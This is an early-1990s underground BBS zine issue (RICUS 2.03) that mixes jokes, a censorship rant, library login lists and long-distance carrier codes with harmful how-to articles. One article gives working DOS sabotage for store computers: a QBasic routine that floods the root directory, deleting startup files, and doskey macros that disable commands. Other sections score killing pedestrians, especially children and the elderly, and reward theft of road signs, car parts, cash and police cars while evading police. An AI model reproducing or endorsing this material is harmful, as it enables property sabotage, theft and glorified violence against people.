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          RICUS             Table of Contents              2.03
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           1 ... Introduction
           2 ... Wanted: Souls
           3 ... BBS Censorship
           4 ... Computer Store Abuse
           5 ... CLAN Information Update
           6 ... List of Equal Access Codes
           7 ... Driving
           8 ... Scavenger Hunt
           9 ... Closing
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1: Introduction
---------------

   Well! It's time for another issue... We didn't get any feedback on
the last one, except one person said he had fun looking up books at
the library from home. It's always nice to hear some of this stuff
actually being applied.

   I sometimes wonder if the RICUS name is appropriate any longer.
"Computer Underground" really has very little to do with it as a whole,
it's mostly just miscellaneous ramblings. Ah well.. It's a nice acronym,
anyways.

  By the way, the correct pronunciation of "RICUS" is _not_ "rickus",
but "rye-kus." The accent is in the first syllable, and the "I" is a
long one, not a short one. What's that have to do with anything? Well,
I just had to clarify that...


         The Implementor

        (yep, I changed the ol' "pen handle" again...
                                ...or is this someone different?)


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2: Wanted: Souls
----------------

   Ever been really fed up with the concept of "Going to Hell" if you are'ne
a good little doobie?  Perhaps you like the concept of evil but are afraid of
eternal damnation?  Well, whatever your reason for disliking the modern
religious punishment/reward system, I have the solution for you!  Before I
tell you what it is, I'd like to assure you that I am not at all aphiliated
with God, Allah, Satan, Zeus, Tiamat, or any other deity.
   The solution, you ask?  Give me your soul.  Yes, I know, this sounds
rather drastic, but I'm quite serious.  The only reason you don't do all the
things you really want to do is because you're afraid of being punished in
the afterlife.  So, by giving me your soul, you can be assured that no such
afterlife will happen, and therefore no punishment for your actions will
occur after you die.
   Now, many of you will want to know what happens to you after death if you
don't have a soul, right?  Well, its simple.  When you agree to give me your
soul, you won't notice anything.  But, upon death, instead of going to heaven
or hell or wherever, your soul is absorbed into my own, and you quite quietly
and peacefully cease to exist, for all practical purposes.  You just slip into
blissfull oblivion.  Sounds painless enough, does'ne it?  Well its just that
easy.  Also, for those of you who want to live forever or are afraid of the
concept of ceasing to exist, one could view my having your soul as you
existing for as long as I do, as your energy is assimilated by me.
   Why do I want your souls?  True, I have just said that they are bothersome,
but that is only true if you have just one.  Every soul you has when you die
gives you aditional power in the afterlife.  So, while one soul is only enough
to let you be controlled by the deity which you worship, a few extra lets you
be independant.  And if you get enough souls before dying, you can even get
a bit more power over living things!  So, as you can see, I'm not just being
a hypocrit and trying to trick you out of your souls.  I'm simply trying to
free you from the chains of oppressive deities.
   If you are interested, leave mail to "PLA" on any of the following RI
boards:

       Cerebral Babylon
       Dezrojard's Keep
       Ministry of Knowledge
       Morlock's Tower
       Total Perspective Vortex
       Vampire Bytes

                                           - PLA
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3: BBS Censorship
-----------------

 Information, mostly in the form of textfiles, is the commodity of all of
cyberspace. Usually proclaimed "illegal" on the larger, professional BBSes,
such information only turns up on the relatively small boards.

 RICUS has obtained some amusing captures from one of the states larger
psuedo-professional BBSes, concerning the uploading of such text files:

 Names have been blotted out to protect both the innocent and guilty.

------------------------------------------------------------------------
Date: <date> (<time>)               Number: 4195 of 5405 (Refer# NONE)
  To: <name of user>
From: <name of co-sysop>
Subj: LEGALHI2.ZIP
Read: <date> (<time>)               Status: PUBLIC MESSAGE
 SIG: <a bbs> MAIN (0)              Read Type: GENERAL (+) HAS REPLIES

Hi <first name of user>,

   You uploaded a file called LegalHi2.zip.... Here's the description
you entered...

LEGALHI2.ZIP    20022  04-19-93  This interesting file lists ways to LEGALLY
                                 get high. All of it is perfectly legal, of
                                 course. None of it is illegal.
                                 Files: 1 Oldest: 04/18/93 Newest: 04/18/93
                                 Uploaded by: [<name of user>]

   I reveiwed the file and don't know what you were thinking when you
   uploaded it... The following it the first few lines of the file...

>The information presented herein is for ENTERTAINMENT PURPOSES ONLY and
>can be found in ethnobotanical literature.  Most (if not all) of the
>substances listed in this faq are illegal to ingest and/or possess.
>The authors and editors assume no responsibility should the information
>presented here be used, misused, misunderstood, inaccurate or even
>read. Reading this faq constitutes an agreement to these terms.  If you
>are afraid you might be tempted to use any of the substances mentioned
>here in illegal ways when presented with the knowledge to do so, STOP
>READING NOW.
>
>Many of the botanicals listed here are highly toxic and deadly.  Always
>keep them away from children.


With recent events on the board that resulted in your being placed on a
probationary status I would have thought you would be more careful.
Please make sure you are familiar with the files you are uploading.

Files promoting illegal and/or dangerous activities are NOT
acceptable!! (Consider this message an official warning.)

<a cosysop>
Sysop Team
---
  OLX 2.1 TD  Some men without a god are like fish without bicycles.

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<Gasp!> God forbid someone upload a textfile! Did you know you can find
such dangerous information is virtually any library?

 Might text files be more interesting than dozens of CD-ROMS full of old,
dysfunctional, mostly useless shareware?

If you examine the top of this file, you'll find it reads:

>From: [e-mail] (Vince Cavasin)
>Date: 1 May 92 05:00:07 GMT
>Newsgroups: alt.drugs
>Subject: [l/m 2/6/92] NATURAL HIGHS FAQ (biweekly post)

>This is an automatically generated bi-weekly posting of the nat.highs faq.  If
>you'd like to add a topic or have comments or suggestions, please send me
>email.

 Infact, this file was posted INTERNATIONALLY on a network (Usenet), where it
was initially taken from. It is, by no means, illegal.

 Well, <a cosysop>, if you ever read this, he was probably thinking of
attracting your attention when he uploaded it, and that's exactly what you
gave him.

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4: Computer Store Abuse
-----------------------

 Have you ever walked into a Rat Shack or other computer store, looking for
something you know they probably won't have?

 The dozens of computers before you present an excellent opportunity for
sabotage. If you are creative, you should have discovered this for yourself.
If you are not, here are some things you can do:

 BTW, make sure the sales dude is busy, since you don't want those fools
coming over and bothering you. Now, I will assume you are abusing a MS-DOS
machine, hopefully a 386 or higher with a large hard drive.

 First, most likely the machine will be running some awful Windows or Prodigy
demo. See if you can exit to DOS. If an Exit-to-DOS option isn't clear, reboot
the computer with Alt-Ctrl-Del or hit the reset button. It looks suspicious
to actually flip switches, so try to avoid it. Now, hold down Ctrl-Break
as soon as the damn thing's done with the memory test. You should be in DOS.

 If you are not, they probably have some Ctrl-Break handler installed in
config.sys to prevent sabotage. This will be highly unlikely, of course, but
it's always possible. If this is the case, simply move to another machine.

 Now, on to the actual sabotage.

 Firstly, you could format the HD outright. I wouldn't advise this. It is
not my style.

 I'd much rather create annoying directories on their hard disk. First off,
go into QBasic or whatever BASIC happens to be on their HD.

 Enter the following BASIC program:

10 chdir "\"
20 for i = 1 to 300
30 dirname$=""
40 for x=1 to 8
50 dirname$=dirname$+chr$((rnd(1)*39)+179)
60 next x
70 print "Making Directory";dirname$
80 mkdir dirname$
90 next i

What does that do? It'll make up to 300 directories on their hard drives
root dir. They won't be able to delete them with the normal DOS RD command.
The directories will be made out of IBM extended ASCII line characters.

To see what the program does, set up a RAM drive or something and run it
on that drive.

Note that DOS will probably hit it's root dir limit before directory 300.
If you want more directories, DELete AUTOEXEC.BAT and CONFIG.SYS. Then run
the program again. (Use basic SHELL to shell to DOS...) Now, they're little
demo won't run anymore when the computer reboots. Also, they won't be able to
make a new CONFIG.SYS or AUTOEXEC.BAT because you've filled up their root
directory with those hard-to-delete special directories. For a good laugh,
do a DIR after you run the program! It looks really funny!

I set up a RAM drive on one of my computers to test it out. Here's what the
root dir looks like after I ran the program with QuickBasic:

 Volume in drive G is MS-RAMDRIVE
 Directory of G:\

┤Ä├╛┘╥╬├     <DIR>     05-17-93   8:45p
╢╖└╕│╚═╚     <DIR>     05-17-93   8:45p
╖║╢Ä╪╚╞┘     <DIR>     05-17-93   8:45p
               .
               . [etc...]
               .
╪╖┘╠╩Ö╔╜     <DIR>     05-17-93   8:45p
┘╒╩╧╣╜┤╙     <DIR>     05-17-93   8:45p
┌╜║╬┤└╬╖     <DIR>     05-17-93   8:45p
       63 file(s)          0 bytes
                       30208 bytes free

Disgusting, isn't it?

 Other forms of creative sabotage are also available. First, find out what
version of DOS they are running. It'll probably be version 5 or 6 by now. Now,
find out what dir their DOS directory is. It's probably C:\DOS or something.

 Edit the AUTOEXEC.BAT. Makesure it runs DOSKEY (found in the DOS dir, so
add something like C:\DOS\DOSKEY if they're not already running it.) Doskey
is the MS-DOS macro program. Also, makesure the DOS dir is in their path...

Now, at the end of the AUTOEXEC.BAT, add the following lines:

doskey dir=cls
doskey cd=cls
doskey help=cls
doskey edit=cls
doskey ver=cls
doskey md=cls
doskey mkdir=cls
doskey format=cls
doskey del=cls
doskey erase=cls

[etc... etc...
add "doskey (any command you want to blank out)=cls" until you've
locked out all the commands you want... ]
doskey doskey=cls

You are effectively locking out any DOS command and changing it to CLS. This
is truly horrible, since the computers DOS will appear non-functional! Also,
why not take the demo or whatever out of the autoexec.bat while you're at
it... Doskey is changed to CLS at the end so they can't disable your macros.
Of course, they could control-break the autoexec.bat, but there's not much you
can do about that.

 Well, that concludes this installment of computer store system sabotage. Have
fun, and if you get caught doing it tell them you were just fooling around.

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5: CLAN Info Update
-------------------

 This is a list of CLAN library identifiers and logins for
the CLAN systems. Take a look at the last issue of RICUS issue 2.02,
for complete info on CLAN, the RI library network.

  Also, there is another CLAN dialup at [phone].

  This dialup supports 2400 bps w/MNP, and is preferable to the one
given in the last RICUS.

   **** Thanks to Lord Soth for contributing the following list ****


              CLAN Login Names

-----------------------------------------------
Login    Library Name
-----------------------------------------------
arlpub   Arlington Branch
aubpub   Auburn Branch
barpub   Barrington Public Library
bripub   Rogers Free Library
cfapub   Central Falls Free Public Library
chapub   Cross Mills Public Library
clapub   Clark Memorial Library
covpub   Coventry Public Library
crapub   Cranston Public Library
cumpub   Cumberland Public Library
dslpub   Dept. of State Library Services
egrpub   East Greenwich Free Library
epfpub   Fuller Branch
eplpub   East Providence Public Library
eprpub   Rumford Branch
epvpub   Riverside Branch
esmpub   East Smithfield Public Library
fptpub   Fox Point Branch
gvlpub   Greenville Public Library
halpub   William Hall Branch
hpepub   Hope Library
jampub   Jamestown Philomenian Library
johpub   Marian J. Mohr Memorial Library
kmapub   Knight Memorial Branch
knvpub   Knightsville Branch
linpub   Lincoln Public Library
midpub   Middletown Public Library
mtppub   Mount Pleasant Branch
narpub   Narragansett Public Library
nbkpub   Newport Bookmobile
nkipub   North Kingstown Free Library
nprpub   North Providence Union Free Library
nptpub   Newport Public Library
nsmpub   North Smithfield Public Library
oakpub   Oaklawn Branch
olnpub   Olneyville Branch
pawpub   Pawtucket Public Library
porpub   Portsmouth Free Public Library
propub   Providence Public Library
rocpub   Rochambeau Branch
scipub   North Scituate Public Library
skhpub   Robert Beverly Hale Branch
skipub   South Kingstown Public Library
skkpub   Kingston Free Branch
smhpub   Smith Hill Branch
sprpub   South Providence Branch
tivpub   Tiverton Library Services (Essex)
tntpub   North Tiverton Branch
tunpub   Union Branch
wanpub   Wanskuck Branch
wappub   Apponaug Branch
warpub   Warwick Public Library
wcopub   Conimicut Branch
wespub   Westerly Public Library
wnopub   Norwood Branch
wnspub   Woonsocket Harris Public Library
wpkpub   Washington Park Branch
wrrpub   George Hail Free Library
wwapub   West Warwick Public Library

Sheesh!! I didn't know the state _HAD_ that many libraries! This doesn't
include college libraries. They're seperate -- we'll show you some of those
in a future issue.

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6: List of Equal Access Codes
-----------------------------

 There's 100s of long distance companies out there for you to use.

 Most people are signed up for AT&T, MCI, Sprint, or something else as their
default carrier. You can, however, select other carriers.

 Here's how:

 Dial 10xxx+1+ACN

 xxx is the 3 digit equal access code.
 ACN is the area code+number of the place you're calling.

 You can also you 10xxx+0+ACN for "operator assisted" dialing.

 Ever wanted a list of all the long distance equal access codes?

###     Long Distance Company Name
------------------------------------------------------
001   MidAmerican LD (Republic Telecom)
002   [ATC] AmeriCall LDC
003   RCI Corporation
006   [AmeriCall]
007   Tel America
008   [Tele-Fiber Net]
011   [Metromedia<>ITT] Metromedia Long Distance
012   Charter Corporation (Tri-J)
013   Access Services
021   Mercury
022   MCI Telecommunications
023   Texnet
024   Petricca Communications Systems
028   Texnet
030   Valu-Line of Wichita Falls
031   [ATC] {Telus} Teltec Saving Communications
033   US Sprint
036   Long Distance Savers
039   Electronic Office Centers of America (EO/Tech)
042   First Phone
044   Allnet Communication Services (LDX, Lexitel)
053   American Network (Starnet)
056   American Satellite
057   Long Distance Satellite
059   COMNET
060   Valu-Line of West Texas
063   COMNET
066   [Allnet]
069   V/COM
070   National Telephone Exchange
080   AMTEL Systems
084   Long Distance Service (LDS)
085   WesTel
088   Satellite Business Systems (MCI)
089   Telephone Systems
090   WesTel
093   Rainbow Communications
095   Southwest Communications
096   Flex Communications
099   AmeriCall
122   RCA Global Communications
137   All America Cables and Radio (ITT)
142   First Phone
146   ARGO Communications
188   [MCI] Satellite Business Systems
201   PhoneNet
202   ExecuLines
203   Cypress Telecommunications (Cytel)
204   United Telephone Long Distance
206   United Telephone Long Distance
211   RCI
212   Call US
213   Long Distance Telephone Savers
214   Tyler Telecom
215   Star Tel of Abilene
217   Call US
219   Call USA
220   Western Union Telegraph
222   MCI Telecommunications (SBS)
223   Cable & Wireless Communication (TDX)
224   American Communications
227   ATH Communications (Call America)
229   Bay Communications
232   Superior Telecom
233   Delta Communications
234   [ACC Long Distence] AC Teleconnect (Alternative Communication)
237   Inter-Comm Telephone
239   Woof Communications (ACT)
241   American Long Lines
242   Choice Information Systems
244   Automated Communications
245   Taconic Long Distance Service
250   Dial-Net
252   Long Distance/USA
253   Litel Telecommunications
255   All-State Communications
256   American Sharecom
258   [Metronet]
260   Advanced Communications Systems
263   Com Systems (Sun Dial Communications)
268   Compute-A-Call
272   Bell of PA
276   CP National (American Network, Starnet)
282     [Action Telecom]
284   American Telenet
286   [CTI] Clark Telecommunications
287   ATS Communications
288   AT&T Communications
298   Thriftline
302   Austin Bestline
303   MidAmerican LD (Republic Telecom)
311   SaveNet (American Network, Starnet)
318   Long Distance Savers
321   [MCI] {Telecom*USA} Southland Systems
322   American Sharecom
324   First Communication
331   Texustel
333   US Sprint
336   Florida Digital Network
338   Midco Communications
339   Communication Cable Laying
343   Communication Cable Laying
345   AC Teleconnect (Alternative Communication)
350   Dial-Net
355   US Link
357   Manitowoc Long Distance Service
362   Electronic Office Centers of America (EO/Tech)
363   Tel-Toll (Econ-O-Dial of Bishop)
369   American Satellite
373   Econo-Line Waco
375   Wertern Union Telegraph
385   The Switchboard
393   Pioneer Telephone/Execulines of Florida
400   American Sharecom
404   MidAmerican LD (Republic Telecom)
412   Penn Telecom
428   Inter-Comm Telephone
432   Lightcall
435   Call-USA
436   Indiana Switch
440   Tex-Net
441   Escondido Telephone
442   First Phone
444   Allnet Communication Services (LDX, Lexitel)
455   Telecom Long Distance
456   ARGO Communications
462   American Network Services
464   Houston Network
465   Intelco
466   International Office Networks
469   GMW
472   Hal-Rad Communications
480   Chico Telecom (Call America)
488   [Metromedia<>ITT] United States Transmission Systems (ITT)
505   San Marcos Long Distance
515   Burlington Telephone
529   Southern Oregon Long Distance
532   Long Distance America
533   Long Distance Discount
536   Long Distance Management
550   Valu-Line of Alexandria
551   Pittsburg Communication Systems
552   First Phone
555   TeleSphere Networks
566   Cable & Wireless Communication (TDX)
567   Advanced Marketing Services (Dial Anywhere)
579   Lintel System (Lincoln Telephone LD)
590   Wisconsin Telecommunications Tech
599   Texas Long Distance Conroe
601   Discount Communications Services
606   Biz Tel Long Distance Telephone <ATC - reseller>
622   Metro America Communications
634   Econo-Line Midland
646   Contact America
652   [NJB]
654   Cincinnati Bell Long Distance
655   Ken-Tel Service
660   Tex-Net
666   Southwest Communications
675   Network Services
680   Midwest Telephone Service
682   Ashland Call America
684   Nacogdoches Telecommunications
687   NTS Communications
700   Tel-America
704   Inter-Exchange Communications
707   Telvue
709   Tel-America
717   Pass Word
726   Procom
727   Conroe-Comtel
732     [AT&T - private net]
735   Marinette-Menominee Lds
737   National Telecommunications
741   [ATC] ClayDesta
742   Phone America of Carolina
743   Peninsula Long Distance Service
747   Standard Informations Services
751   Touch One <ATC - reseller>
755   Sears Communication
757   Pace Long Distance Service
759   [USS] Telenet Communication (US Sprint)
760   American Satellite
766   Yavapai Telephone Exchange
771   [MCI] {Telecom*USA/SoutherNet/Southland} Telesystems
777   US Sprint
785   Olympia Telecom
786   Shared Use Network Service
787   Star Tel of Abilene
788   ASCI's Telepone Express Network
789   [ATC] Microtel
792   Southwest Communications
800   Satelco
801   MidAmerican LD (Republic)
810   [Logicall]
824   [ATC] <Transcall ?>
827   TCS Network Services
833   Business Telecom
835     [MCI] {Telecom*USA/Teleconnect}
839   Cable & Wireless Communication (TDX)
847   VIP Connections
850   TK Communications
852   [MCI] {Telecom*USA/SouthernNet} Telecommunicatons Systems
859   Valu-Line of Longview
862   [ATC] {SouthTel}
866   Alascom
872   Telecommunications Services
874   Tri-Tel Communications
879   Thriftycall (Lintel Systems)
881   Coastal Telephone
882   Tuck Data Communications
883   TTI Midland-Odessa
884   TTI Midland-Odessa
885   The CommuniGroup
888   [MCI] Satellite Business Systems (MCI)
895   Texas on Line
897   Leslie Hammond (Phone America)
898   [MCI] Satellite Business Systems (MCI)
910   Montgomery Telamarketing Communication
915   Tele Tech
933   North American Communications
936   Rainbow Commuinications
937   Access Long Distance
938   Access Long Distance
951   Transamerica Telecommunications
955   United Communications
960   Access Plus
963   Tenex Communications
969   Dial-Net
985   America Calling
986   MCI Telecommunications (SBS)
987   ClayDesta Communications
988   Western Union Telegraph
991   Access Long Distance
999   [Metromedia<>ITT]

 Sheesh!! There's a lot of LD companies out there...

 Please note that you will not be able to use some of these carriers. Many
carriers will refuse to put calls through from numbers that have not signed
up for their service.

 Note that making a call through another LD carrier, instead of your default
one, will probably delay the bill by many months. This has it's uses -- since
it'll be easier to convince your parents that you never made that call, etc.

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7: Driving
----------
Has this ever happened to you?

You're driving down the street minding your own business when an idiot or
several idiots jump out in front of your car and almost cause you to get into
an accident...

Well fear no more!  Now, yes NOW, you have a REASON not to swerve out of the
way...

What is this reason?  Is it some Carte Blanche or Diplomatic Immunity?
Nope, nothing like that.  You can still be prosecuted to the fullest extent of
the law as of right now for vehicular homicide, but hey what's a little fun
every once in awhile...  And now I give to the Great American Masses:

                   The UNOFFICIAL Pedestrian Scoring Sheet

Toddlers / Children                                     70 points
  (Any child 0-12 years of age, any sex)
Teenagers                                               40 points
  (Any child 13-19 years of age, any sex)
Adult Men                                               5 points
  (Any male between the ages of 20-39)
Mature Men                                              15 points
  (Any male between the ages of 40-74)
Adult Women                                             10 points
  (Any female between the ages of 20-39)
Mature Women                                            30 points
  (Any female between the ages of 40-74)
Elderly                                                 100 points
  (Any person over 75 years of age, any sex)


Just a few other points worth mentioning:

1> The age is an approximation of the individual.  If questions arise, a guess
   is fine.  Do NOT get out of the car to ask for their age (don't be stupid),
   just drive on.

2> The race of a person is irrelevant.  This is not an exercise in bigotry,
   just good, clean fun!

3> Points will only be given for clean kills.  No near hits.  No slightly
   wounded or grazed, just street pizzas.

4> We have intentionally left out animals for sake of simplicity.  It seems
   that everybody has their own opinion of what is worth what based on their
   opinion.  We feel that a flat rate would be fine in most cases, but others
   disagree.  An update will be posted (You can sure see a lot of critters out
   on the roads after midnight) if there is enough interest, but for now it is
   up to the individual how animals would / should be scored.

5> Very Important Idiots should be worth approximately 2 to 3 times normal
   point values.  Once again, debate over as to who should qualify as to who
   exactly should be worth more.  As point 4, any interest will generate an
   update to the scoring sheet.  (NOTE:  It has been STRONGLY AGREED ON that
   all religious figures should be worth AT LEAST double point value).

6> Also, it seems that some drivers enjoy just opening car doors in the path
   of traffic.  At this point there is no point value assigned to obstacles
   and other stationary targets, for they lack the challenge of a moving
   target, but as in points 4 and 5, you may never know what may happen in the
   future...


    That should just about wrap up this edition of the UNOFFICIAL Pedestrian
    Scoring Sheet, but stay tuned in future editions of RICUS for possible
    updates.  Any suggestions, comments, and related ilk should be presented
    in the correct circles...

This article was made possible by the makers of one of the best B-budget
movies of all time: Deathrace 2000.  Although the scoring system was brief,
and in many cases, contradictory during the movie. The scoring system was
extrapolated upon by Three-D and presented in this form as of the time of this
writing.  Plans are under way in order to bring you more, but interest will
determine whether or not these updates will be made available to the general
public...

[Editor's Note: RICUS in no way condones the transformation of innocent
pedestrians into "street pizzas." This article was presented for your personal
amusement and in the interest of free expression. RICUS will not take any
responsibility for psychotic acts committed because of it. ]
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8: Scanvenger Hunt
------------------

When I was still in high school, my cousin managed to get involved in the
midnight scavenger hunts that were all the rage back in the mid 1980s.  You
know, the fun ones that occur between midnight and some pre-determined time
usually a bit after sunrise.  The ones in which you had to find a bunch of
hard-to-acquire to near-impossible-to-acquire items for a given point value.
Well, since you were allowed a group of X ammount of people I was given the
oppourtunity to partake in this adolesent ritual and found it to be one of the
more creative nights of my life. (It definately takes some creativity in order
to get some of these things). Now I give to you:

                The 1993 Unofficial Scavener Hunt Basics
                ----------------------------------------

             (Since there probably is one going on secretly
            somewhere now that the weather is getting better
                              and better).


Rules are simple:

1> DON'T get caught.
2> Find item, get item, bring item to scoring area, get points for item.
3> No telling cops where the scoring area is or who is involved (duh!).
   (Many a low scoring night were possible due to increased cop activity).
4> I have seen teams go from individuals, a given ammount of people, and
   complete free-for-alls.  Organizers discression.
5> Don't get caught.
7> Have FUN!
8> Don't get caught.

Okay, now that the basics are defined.  It goes without saying that some form
of transport is recommended.  Hatchbacks are a good choice, but pickups and
vans seem to be the choice of the serious, die-hard scavengers...

Now a scavenger hunt wouldn't be any kind of fun if it weren't for the list.
For those of you who never did this or haven't a clue, there was a copy of the
list given to each team just before the start of the event, items changed
frequently to avoid pre-event shopping.  They were ususally sealed in
envelopes for those times when (god help you) the cops were wondering what
you were doing with a trck full of stuff.  Wandering eyes are always deadly in
these situations, and a found list were usually the bane of the entire night.
Anyways, here is just a sample list:

Road/Street Signs                                       Point Value
-----------------                                       -----------
Stop                                                    60
Dip in Road                                             80
Flagger Ahead                                           80
Road/Street Signs                                       50
Slow Children                                           80
Children Playing                                        60
 (With or without the "P" painted over)
School Zone                                             60
No Parking                                              60
Light Ahead                                             70
Yield                                                   60
Construction Ahead                                      60
 (also covers the group of signs)
 (Construction Ahead: XXXX Feet)
Dead End                                                50
Speed Limit Signs                                       3 times the posted
                                                        speed limit in points

Cones/Construction Markers
--------------------------
Small Cones                                             15
Large Cones                                             20
Triangular Reflectors                                   50
Orange barrels, plastic, unweighted                     25
Orange barrels, plastic, weighted                       35
Orange barrels, metal                                   50


Items Obtained From Cars
------------------------
Lug nut, each                                           20
Hubcaps, complete set                                   50
Hubcaps, individual                                     10
Hood Ornament                                           75
Radar Detector                                          100
Licence Plates, set of 2 matching                       50
Stereo                                                  250
Speakers, any type                                      2 times wattage of
                                                        speaker in points
Lighter                                                 20
Antenna, Radio                                          10
Antenna, CB                                             30
Antenna, Cellular Phone                                 50
Tire, with rim                                          50
Drivers Licence                                         100
Registration                                            75
Car Bra                                                 50
Fog lights, each                                        25
Center Caps (On wheels)                                 30
Car Phone                                               100
Louvres                                                 30
Air freshner                                            10
casette / cd, each                                      10
Car seat, child                                         80
Car seat, adult (yes, normal car seat)                  100

Miscellaneous
-------------
Beer, per ounce                                         10
Hard Liquor, per ounce                                  20
Store Mannequin                                         250
Plastic banners from stores, large                      150
Cash                                                    1 point / Dollar
Barber Shop Pole                                        300
PLastic Jesus Figurine                                  200
Mary / Virgin Mother Figurine                           100
Street lights                                           500
Police, Ambulance, Fire Truck Flashers                  1000
Shopping Cart                                           150
Cars                                                    1000
Police cars                                             5000


This is NOT by any means a complete list.  For sake of space, just a sample of
items were selected to make it to the list for a flavor of the sport. There are
literally MILLIONS of items that can be added or taken away.  Fun is the key
word in selecting items for the list.

NOTE:  The list changes in size and content on complete whims of the creators
as well as the point values of items, depending heavily on supply and demand
as well as hundreds of other factors.  Point values are generally determined
by their availability and the effort put into obtaining the object.


Also worth mentionning that when this file was undergoing the
creation/planning stage I received a copy of the ANUS01 text file.
Unfortunately, this was also a scavenger hunt file (called the ANUS Benefit
Preferred Theft List) but still the same idea.  Anyways, I felt that a How-to
file would be a little bit better since you are only young once so what the
hell..

This file is created in the memory of G. Boudreau, and his fun bunch of
friends: "Shadow" , Steve ("just Steve"), and a myriad of others who exposed
my cousin and I to the idea of the scavenger hunt with a myriad of stories of
their exploits in this summertime excursions when we were very young and very
impressionable.  Without his help, we'd probably be just normal, boring kids,
but thanks to his efforts we learned that life is a lot more interesting when
the rules were bent and/or fractured occasionally...

Also, for those who are interested in a complete list as well as excerpts from
ACTUAL lists from the 60s to the 80s drop a line to the appropriate people.
Advanced planning hints, strategies, etc. will be available to interested
parties...

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9: Closing
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  You know, we'd actually enjoy some articles from those old sysops who
probably hate us, even though half of them were just like us about a decade
ago. Just send em up to your nets.. or in E-Mail. You know who to send it to.

  Special thanks to all the contributors! Thanks, guys!

      The Implementor

PS: If you really don't know, just send it up in NE-Net Common or Fido-323,
addressed to "Those RICUS Guyz"! It looks really funny, and pisses people off.
If you want anonymity, make a fake account on a board with one of the above
nets. Plenty of systems still have the Call Back Verifier bug.
Read RICUS201.TXT if you don't know how to bypass CBVs!

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